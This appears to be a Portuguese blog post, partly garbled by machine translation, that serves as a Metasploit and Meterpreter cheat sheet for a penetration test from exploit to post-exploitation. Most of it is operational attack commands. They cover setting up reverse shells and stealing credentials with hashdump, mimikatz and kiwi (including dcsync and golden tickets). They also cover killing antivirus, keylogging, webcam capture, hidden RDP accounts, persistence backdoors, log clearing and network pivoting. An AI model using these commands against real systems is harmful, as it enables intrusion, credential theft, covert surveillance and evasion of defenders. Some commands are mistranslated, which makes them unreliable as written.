Metasploit Framework (msf) contém milhares de vulnerabilidades de software conhecidas e é continuamente atualizado. Metasploit pode ser usado para todo o processo de teste de penetração, como coleta de informações, detecção de vulnerabilidades e exploração de vulnerabilidades. Ele é escrito em linguagem Ruby. Hackeie o título de todo o universo! ! !
Intenção original: registrar o processo de teste de penetração do msfconsole, bem como alguns comandos comumente usados em cada ponto do processo. Você pode apontar algumas deficiências nele. Adicionarei suplementos a este blog e também anotarei os nomes de todos no suplemento. dentro do capítulo! ! Vamos trabalhar juntos ^-^
Após o lançamento deste capítulo, testes práticos serão lançados posteriormente, e comandos comuns para win e Linux também serão atualizados.
msf que vem com kali, atualize e atualize
Processo básico de uso de penetração
Configurações de parâmetros de carga útil de ataque
meterpreter [ferramenta pós-exploração após obter permissão]
Recursos do Meterperter [Módulo Pós-Penetração]
Comando pós-penetração [comando de informações do sistema host win]
Módulo de penetração pós-POST [ataque de penetração após obter controle do host alvo]
Processo pós-infiltração [Comandos comuns para o processo]
Use mimikatx para obter senhas
Elevar privilégios [Elevar privilégios de vitória para sistema]
Uso do módulo KiWi (o módulo mimikatz integrado no msf é substituído pelo kiwi)
Módulo pós-penetração [configuração de parâmetros do aplicativo de instalação do host]
Módulo pós-penetração [Configurações de operação em segundo plano]
Descrição do parâmetro de roteamento
sistema win de encaminhamento de porta portfwd
PowerShell coleta informações de domínio
Nota: comando de carregamento do módulo meterpreter
msf que vem com kali, atualize e atualize
apt update atualiza as informações do pacote de instalação, apenas verifica, mas não atualiza
apt upgrade atualiza pacotes instalados sem excluir pacotes antigos
apt pacote de atualização full-upgrade, exclua o pacote antigo
Se o Kali não for utilizado por um longo período, a assinatura digital irá expirar, impossibilitando a atualização da fonte.
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key adicionar solução
Processo básico de uso de penetração
msfconsole entra na busca de quadros ms17_010
pesquise para encontrar módulos de ataque de vulnerabilidade relacionados (auxiliar é um módulo auxiliar de detecção para detectar se a vulnerabilidade existe, exploit é um módulo de exploração de vulnerabilidade)
use xxx/xxx/xxx use selecione módulo de ataque
info Use info para visualizar informações sobre o tipo de vulnerabilidade (versão do sistema de destino, versão do idioma)
show payloads Veja as cargas que podem ser exploradas por esta vulnerabilidade
definir carga útil xxx/xxx Definir carga útil de ataque
mostrar opções Visualizar os parâmetros que precisam ser configurados pelo módulo
mostrar alvos Visualizar plataformas de sistema atacáveis (por padrão, a versão e o idioma do sistema operacional de destino serão determinados automaticamente)
definir xxxx definir parâmetros
explorar/executar salvar/atacar (se for uma detecção, o sinal + indica a existência da vulnerabilidade) fase pós-penetração
Configurações de parâmetros de carga útil de ataque
set RHOST 192.168.100.158 #Set RHOST, que significa atacar o IP do host
set LHOST 192.168.100.132 #Set LHOST, que é o IP do nosso host, usado para receber o shell devolvido da máquina de destino
set lport 6666 #Defina lport, que é a porta do nosso host, e devolva o shell para esta porta; se não definirmos lport aqui, o padrão é 4444 porta de escuta;
meterpreter [ferramenta pós-exploração após obter permissão]
Meterpreter é uma carga útil de estágio. No Metasploit Framework, Meterpreter é uma carga útil que pode ser expandida pela rede durante a operação. Esta ferramenta é baseada no conceito de "injeção de DLL de memória" , que permite ao sistema de destino executar o arquivo DLL injetado criando um novo processo e chamando a DLL injetada.
Fluxo de trabalho: O destino deve primeiro executar uma conexão inicial de sessão de vulnerabilidade de estouro, que pode ser uma conexão de ligação direta ou uma conexão reversa de recuperação. Ao recuperar a conexão, o arquivo de link dll é carregado e o arquivo dll é processado silenciosamente em segundo plano. Em seguida, inicialize-o através do código principal do meterpreter, estabeleça um túnel criptografado TLS/1.0 através do soquete e envie uma solicitação GET ao servidor Metasploit. Após receber a solicitação GET, o servidor Metasploit configura o cliente correspondente. Finalmente, o meterpreter carrega a extensão e todas as extensões carregadas transmitem dados via TLS/1.0.
Recursos do Meterperter [Módulo Pós-Penetração]
meterpreter reside inteiramente na memória e não grava no disco
O Meterpreter não cria um novo processo quando injetado e pode ser facilmente transplantado para outros processos em execução. As comunicações do Mertepreter são criptografadas por padrão, portanto são seguras
Extensibilidade, muitos novos módulos de recursos podem ser carregados.
Ao definir a carga útil, você pode configurá-la como um link reverso e obter meterpreter>
Você pode então seguir o processo de penetração
? [Entrar diretamente? , você pode visualizar a descrição do parâmetro em meterpreter]
background [meterpreter pode ser montado para rodar em segundo plano]
sessões -l [Ver a lista de sessões meterpreter_shell obtida]
Comando pós-penetração [comando de informações do sistema host win]
sysinfo Visualizar informações do sistema host de destino
execute o scraper para visualizar os detalhes do host de destino
execute hashdump exporta o hash da senha
carregar kiwi carregar mimikatz
ps Ver informações do processo do host de destino
pwd Visualize o diretório atual de destino (Windows)
getlwd Visualiza o diretório atual do diretório (linux) search -f *.jsp -de:\ Pesquisa todos os arquivos com o sufixo .jsp na unidade e
download e:\test.txt /root Baixe o arquivo e:\test.txt do host de destino para o diretório /root
upload /root/test.txt d:\test Carregue /root/test.txt para o diretório d:\test\ da máquina de diretório
getpid Visualize o PID do processo do shell Meterpreter
migrar 1384 Migre o processo shell Merterpreter atual para o processo com PID 1384
idletime Ver tempo de execução do host
getuid Veja as permissões atuais obtidas
Getsystem eleva privilégios apenas se o usuário atual obtido for administrador.
execute killav desativa o software antivírus
captura de tela captura de tela
webcam_list Visualize as câmeras do host alvo
webcam_snap tirar foto
webcam_stream abrir vídeo
parâmetro de execução -f arquivo executável executa o programa executável
execute getgui -u testl -p ABC123 Crie usuário testl com senha ABC123
execute getgui -e inicia a área de trabalho remota
keyscan_start ativa a função keylogging
keyscan_dump exibe informações capturadas de keylogging
keyscan_stop interrompe a função de keylogging
uictl desabilitar teclado proíbe o alvo de usar o teclado
uictl enable teclado permite que o alvo use o teclado
uictl desabilitar mouse proíbe o alvo de usar o mouse
uictl enable mouse permite que o alvo use o mouse
load usa biblioteca de extensão
execute usando a biblioteca de extensão
Módulo de penetração pós-POST [ataque de penetração após obter controle do host alvo]
gerenciar
executar pós/windows/gerenciar/migrar migração automática de processos
execute post/windows/manage/killav para desligar o software antivírus
execute post/windows/manage/enable_rdp para abrir o serviço de área de trabalho remota
execute post/windows/manage/autoroute para visualizar informações de roteamento
execute post/windows/manage/enable_rdp USERNAME=SS2 SENHA=123456
Adicionar usuário de área de trabalho remota
execute post/windows/manage/enable_rdp FORWARD=true LPORT=6662
Encaminhar porta 3389 para 6662
juntar
execute post/windows/gather/enum_logged_on_users listas de usuários atualmente logados
execute post/windows/gather/enum_applications para listar aplicativos
execute post/windows/gather/credentials/windows_autologin pegue o nome de usuário e senha do login automático execute post/windows/gather/smart_hashdump despeje o hash de todos os usuários
execute post/windows/gather/enum_domain para visualizar o controle de domínio
execute informações de patch post/windows/gather/enum_patches [obtenha se há um número de patch msf que pode ser usado diretamente]
execute post/windows/gather/checkvm para verificar se o host de destino está sendo executado em uma máquina virtual
Processo pós-infiltração [Comandos comuns para o processo]
sysinfo Ver informações sobre o host de destino
execute post/windows/gather/checkvm para verificar se o host está sendo executado em uma máquina virtual
execute killav desativa o software antivírus do host alvo
run scraper obtém os detalhes do host de destino e acessa o sistema de arquivos
pwd visualizar diretório atual
gato lê o conteúdo do arquivo
rm excluir arquivos
editar Editar arquivos usando vim
mkdir cria um novo diretório
rmdir excluir diretório
baixar arquivo Ajuda a baixar arquivos do sistema de destino
duload arquivo (arquivo) Carregar arquivos para o sistema de destino
O comando getuid pode obter as informações do usuário atual
getsystem eleva privilégios automaticamente para privilégios de sistema
Use mimikatx para obter senhas
execute windows/gather/credentials/windows_autologin para obter o nome de usuário e a senha para login automático
execute hashdump exportar senha hash formato de exportação: nome de usuário: SID: LM hash: NTLM hash:::
O uso do comando run windows/gather/smart_hashdump requer permissões do sistema
Pré-requisito: São necessárias permissões do sistema para executar o mimikatz e, ao executar, a seleção deve ser baseada no número do sistema atual.
Primeiro verifique as permissões da sessão atual (getuid), depois observe o número do sistema (sysinfo), (upload) o caminho absoluto do arquivo carregado, execute -i -f mimikatz.exe (executar) [Nota: mimikatz deve usar permissões do sistema ]
Pegue a senha: privilégio::debug
sekurlsa::logonpasswords
Elevar privilégios [Elevar privilégios de vitória para sistema]
1. A permissão atual é do usuário administrador
2. Use outros meios para primeiro elevar os privilégios ao usuário administrador. Em seguida, o usuário administrador pode usar diretamente o comando getsystem no meterpreter_shell para elevar os privilégios aos privilégios do sistema.
getuid Ver a identidade do usuário da sessão atual
getsystem tenta escalar privilégios automaticamente
Uso do módulo KiWi (o módulo mimikatz integrado no msf é substituído pelo kiwi)
O módulo mimikatz integrado no msf foi substituído pelo kiwi
Pré-requisito: Eleve os direitos às permissões do sistema. O carregamento padrão do kiwi é de 32 bits. Se o host de destino for um sistema de 64 bits, Ze deve primeiro examinar a lista de processos do sistema e, em seguida, migrar o processo meterpreter para um processo de programa de 64 bits antes de carregar o kiwi e visualizar o texto simples do sistema.
sysinfo Ver sistema
ps para verificar se existem processos de 64 bits
migrar processo PID migra para Pid
kiwi_cmd sekurlsa::logonpasswords pode usar todas as funções do mimikatz
ps visualizar processo
carregar kiwi carrega o módulo kiwi
ajuda kiwi Ver módulo kiwi
creds_all enumera todas as credenciais e pode enumerar senhas em texto não criptografado no sistema
creds_kerberos lista todas as credenciais Kerberos
creds_msv lista todas as credenciais msv
creds_ssp lista todas as credenciais ssp
creds_tspkg lista todas as credenciais tspkg
creds_wdigest lista todas as credenciais wdigest
dcsync Recuperar informações da conta do usuário através do dcsync
dcsync_ntlm Recuperar hash NTM, SID e RID da conta de usuário via dcsync
golden_ticket_create cria um bilhete dourado
kerberos_ticket_list lista tickets Kerberos
kerberos_ticket_purge limpa tíquetes Kerberos
kerberos_ticket_use usa tíquetes Kerberos
kiwi_cmd executa o comando mimikatz, seguido pelo comando mimikatz.exe lsa_dump_sam despeja o SAM de lsa
lsa_dump_secrets despeja o texto cifrado de lsa
password_change alterar senha
wifi_list lista os arquivos de configuração wifi do usuário atual
wifi_list_shared lista perfis/codificações wifi compartilhadas
Módulo pós-penetração [configuração de parâmetros do aplicativo de instalação do host]
execute post/windows/gathtier/enum_applications para ver quais aplicativos estão instalados no host de destino
executar + [parâmetro]
-f token de thread falso para executar o arquivo executável especificado
-H cria um processo oculto
-a parâmetros passados para o comando
-eu interajo com o processo
-m executa da memória
-t usa o processo de linha atual
-s executa o processo na sessão determinada
screenshot Faça uma captura de tela da tela do host de destino
execute post/windows/gather/enum_logged_on_users para verificar se há usuários no host de destino
criar uma conta:
Método 1: execute getgui -u nome de usuário -p senha
Método 2: execute post/windows/manage/enable_rdp nome de usuário=xxx senha=xxxx
Habilite a área de trabalho remota:
dletime verifica o tempo ocioso do usuário remoto
execute post/windows/manage/enable_rdp para abrir a área de trabalho remota
execute post/windows/manage/enable_rdp FORWARD=true LPORT=6662 Encaminha a porta 3389 para a porta 6662
Módulo pós-penetração [Configurações de operação em segundo plano]
Registrador de teclas:
keyscan_start ativa a função keylogging
keyscan_dump exibe informações capturadas de keylogging
keyscan_stop interrompe a função de keylogging
Desative o host de destino de usar teclado e mouse:
uictl disable(enable) teclado desativa o alvo de usar o teclado
uictl disable (enable) mouse proíbe o alvo de usar o mouse
A câmera host alvo tira fotos:
webcam_list Obtém a lista de câmeras do sistema de destino
webcam_snap tira fotos da câmera especificada
webcam_stream inicia o vídeo da câmera especificada
carregar/usar módulo de carregamento
load -l lista todas as extensões disponíveis
carregar -ajuda ajuda;
Instruções: Gere um Trojan backdoor e coloque-o no diretório de inicialização do Windows: C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Inicialização do serviço: execute exploit/windows/local/peristence lhost=192.168.100.132 lport=xxx
Conexão de processo 192.168.100.132:8888 [Desvantagem: fácil de ser morto]
netstat -ano: findstr “8888”
Crie um backdoor persistente
A conexão estabelecida pelo módulo meterpreter com base na DLL de memória precisa deixar um backdoor persistente dentro do sistema de destino.
Dois caminhos:
Um é iniciado através de itens de inicialização (persistência),
O segundo serviço é iniciado (metsvc)
Itens de inicialização:
Primeiro, um Trojan backdoor deve ser gerado e, em seguida, colocado no diretório de inicialização do Windows. Enquanto o computador estiver ligado, a conexão com a porta correspondente pode ser iniciada.
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Início do serviço:
execute exploit/windows/local/persistence lhost=192.168.100.132 lport=8888
#Ele se conectará automaticamente à porta 8888 de 192.168.100.132. A desvantagem é que é fácil de ser detectado por software antivírus.
MSF cria proxy de meias
Existem três módulos de proxy em msf, meias4a, meias5 e meias_unc. meias5 pode definir o nome de usuário e a senha, mas às vezes o msf não escuta a porta, o que pode causar falha no proxy. Use auxiliar/servidor/socks. Use este módulo. O módulo meias aqui apenas configura o proxy para escutar (o padrão é 1080), ou seja, o tráfego através de proxychains é transferido para a porta local 1080, e como esta é a porta de escuta iniciada pelo MSF, o processo através do proxy também pode acessar a intranet.
Configurações de proxy:
Altere o módulo em msf para usar auxiliar/server/socks_proxy
mostrar opções Visualizar detalhes do módulo Definir o IP da interface e a porta para monitoramento de soquete
definir ip SRVHOST (127.0.0.1) && definir porta SRVPORT
Configurações de proxy do Socks4a:
use auxiliar/servidor/socks4a
definir SRVHOST 0.0.0.0
definir execução do SRVPORT 1080
Configurações de proxy do Socks5:
use auxiliar/servidor/socks5
definir SRVHOST 0.0.0.0
definir SRVPORT 1080
definir USERNAME raiz
definir SENHA Senha@
correr
Agente de conexão:
Edite o arquivo de configuração do programa proxychains local vim /etc/proxychains.conf. O navegador também precisa configurar um proxy. Você pode acessar a intranet diretamente pelo navegador e encontrar o ProxyList.
[Lista de Proxy]
Adicione a senha de root Socks5 0.0.0.0 1080 [1080 é a porta de escuta]
Ao usar o nmap para testar o programa, você deve usar proxychains4 nma -sT -Pn xxxx.
Configuração de roteamento
[Adicione roteamento antes de usar proxy]
Primeiro adicione uma rota para que o MSF possa alcançar a rede interna da máquina de destino.
rota adicionar 209.98.32.33 máscara 255.255.255.224 202.96.123.3 métrica 5 Execute o comando para adicionar uma rota
route print imprime o destino da rota
rota excluir 209.98.32.33 excluir rota
alteração de rota 209.98.32.33 máscara de rede 255.255.255.224 202.96.123.3 métrica 5 [modificar gateway 209.98.32.33 para 202.96.132.3]
Encaminhamento de rota:
método um:
rota Visualizar informações do segmento de rede
background coloca o processo atual em segundo plano e retorna para msf
route add 172.16.10..0 255.255.255.0 1 Adicionar rota (1 é o número da sessão pendente)
impressão de rota
Ver informações de roteamento
Método 2: use post/multi/manage/autoroute
definir exploração da sessão 1 [Carregue este módulo diretamente e chame a sessão]
Desvantagens: O encaminhamento de proxy desta forma só pode ser usado pelo msf, outros aplicativos não podem usá-lo e outros aplicativos precisam adicionar um proxy sock.
Descrição do parâmetro de roteamento
add adiciona registros de roteamento
del excluir registros de roteamento
rede de destino alvo ou host de destino
gw define gateway padrão
mss define o comprimento máximo do bloco TCP, em MB
windows especifica o tamanho da janela TCP para conexões TCP por meio da tabela de roteamento
dev A interface de rede representada pelo registro de roteamento
netmask define o comprimento da máscara
-A define o tipo de endereço
-c imprime o cache de roteamento do kernel Linux
-v mostra informações detalhadas
-n não executa uma pesquisa reversa de DNS e exibe diretamente o endereço IP em formato numérico
-e formato netstart exibe tabela de roteamento
-net Tabela de roteamento para uma rede
-host tabela de roteamento para um host
sistema win de encaminhamento de porta portfwd
portfwd adicionar -l 9999 -r 192.168.100.158 -p 3389
#Encaminhe a porta 3389 de 192.168.11.13 para a porta local 9999. 192.168.100.158 aqui está o direito de obter
O endereço IP do host restrito
portfwd adicionar -l 9999 -r 192.168.100.158 -p 3389
-l porta de escuta local
-p porta do servidor de destino
add adiciona uma conexão
Encaminhe a porta de destino para a porta de escuta local para receber rejeições de porta do host de destino
rdesktop 127.0.0.1:9999 Acesse a porta 9999 local para conectar-se à porta 3389 do host de destino
clearev #limpar registro
PowerShell coleta informações de domínio
carregar o powershell carrega a função do powershell
powershell_import /root/PowerView.ps1 Importe o script do PowerShell e coloque-o no destino especificado com antecedência
powershell_execute Get-NetDomain Este módulo obtém informações de domínio
powershell_execute Invoke-UserHunter Este módulo de função é usado para localizar o host onde o administrador do domínio efetua login powershell_execute Get-NetForest Este módulo é usado para localizar informações do domínio powershell_execute Invoke-EnumerateLocalAdmin
Enumere os membros do grupo Administradores locais em todos os computadores do domínio
Nota: comando de carregamento do módulo meterpreter
O comando do módulo meterpreter está incompleto. Você pode executar o load lstdapi para carregar o comando de conclusão.
Às vezes, a pós-penetração recebida não é uma sessão do tipo meterperpreter, você pode usar sessões -u id para atualizar a sessão. Ao executar este comando, /post/multi/manage/shell_to_meterpreter é chamado por padrão.
O id nas sessões -u id é o id da carga útil